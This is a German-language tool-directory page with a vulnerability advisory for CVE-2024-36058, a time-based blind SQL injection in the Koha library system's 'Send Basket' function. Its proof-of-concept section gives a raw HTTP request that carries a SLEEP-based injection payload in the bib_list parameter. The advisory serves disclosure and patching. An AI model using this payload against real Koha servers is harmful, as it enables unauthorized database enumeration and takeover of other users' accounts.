Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-36058 — Proof-of-Concept-Exploit und Advisory für CVE-2024-36058, eine zeitbasierte blinde SQL-Injection in der opac-sendbasket.pl des Koha-Bibliothekssystems, die eine authentifizierte Datenbank-Enumeration ermöglicht. | Kitploit
Tools/GitHubGitHub/hacklantic/cve-2024-36058
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubhacklantic/cve-2024-36058

CVE-2024-36058

Proof-of-Concept-Exploit und Advisory für CVE-2024-36058, eine zeitbasierte blinde SQL-Injection in der opac-sendbasket.pl des Koha-Bibliothekssystems, die eine authentifizierte Datenbank-Enumeration ermöglicht.

Repository anzeigen
42vor 22 TagenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-36058 - Koha Library Software < 23.05.10 - Zeitbasierte blinde SQL-Injection

CVE-ID: CVE-2024-36058
Produkt: Koha Library Software
Schwachstellentyp: Zeitbasierte blinde SQL-Injection (CWE-89)
CVSS-Score: 9.8 (Kritisch)
Betroffene Versionen: Unter 23.05.10
Danksagung: Karolis Narvilas


Beschreibung

Koha ist ein quelloffenes integriertes Bibliothekssystem. In der Funktion „Send Basket" unter opac/opac-sendbasket.pl existiert eine zeitbasierte blinde SQL-Injection-Schwachstelle. Der Parameter bib_list wird unbereinigt an eine SQL-Abfrage übergeben, wodurch ein Angreifer beliebige SQL-Payloads einschleusen kann, die messbare Verzögerungen in der Antwort des Servers verursachen.

Ein regulärer (niedrig privilegierter) Bibliotheksbenutzer kann diese Schwachstelle ohne jegliche erhöhte Berechtigungen ausnutzen. Durch die Ausnutzung von Unterschieden in der Antwortzeit kann ein Angreifer die Datenbank enumerieren und Inhalte abrufen, die privilegiertem Zugriff vorbehalten sein sollten.

Auswirkung: Ein entfernter authentifizierter Angreifer kann CVE-2024-36058 ausnutzen, um sensible Datenbankinhalte zu enumerieren, einschließlich der Ausnutzung des Passwort-Reset-Ablaufs und des Abrufs von Passwort-Reset-Tokens für andere Benutzerkonten, um diese zu übernehmen, was zu unbefugtem Zugriff und potenzieller Datenoffenlegung führt.


Proof-of-Concept (PoC)

  1. Melden Sie sich bei Koha als niedrig privilegierter / regulärer Bibliotheksbenutzer an.
  2. Fügen Sie ein Buch zum Warenkorb hinzu und klicken Sie dann auf „Send Basket".

Send Basket

  1. Fangen Sie die resultierende Anfrage mit einem Proxy wie Burp Suite ab und schleusen Sie die Payload in den Parameter bib_list ein, wie unten gezeigt:

Anfrage:

POST /cgi-bin/koha/opac-sendbasket.pl HTTP/1.1
Host: {domain}
Cookie: [Low Privilege Session]
-- SNIP --

email_add=<recipient>&comment=x&bib_list=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(36)))x)--+-&csrf_token=<csrf_token>

  1. Die eingeschleuste Payload veranlasst die Datenbank zu schlafen, bevor eine Antwort zurückgegeben wird. In diesem Beispiel schlief der Server etwa 36 Sekunden, was bestätigt, dass der Injektionspunkt ausnutzbar ist.

SQLi Sleep PoC


Referenzen

  • MITRE - CVE-2024-36058
  • Hacklantic
Tool herunterladen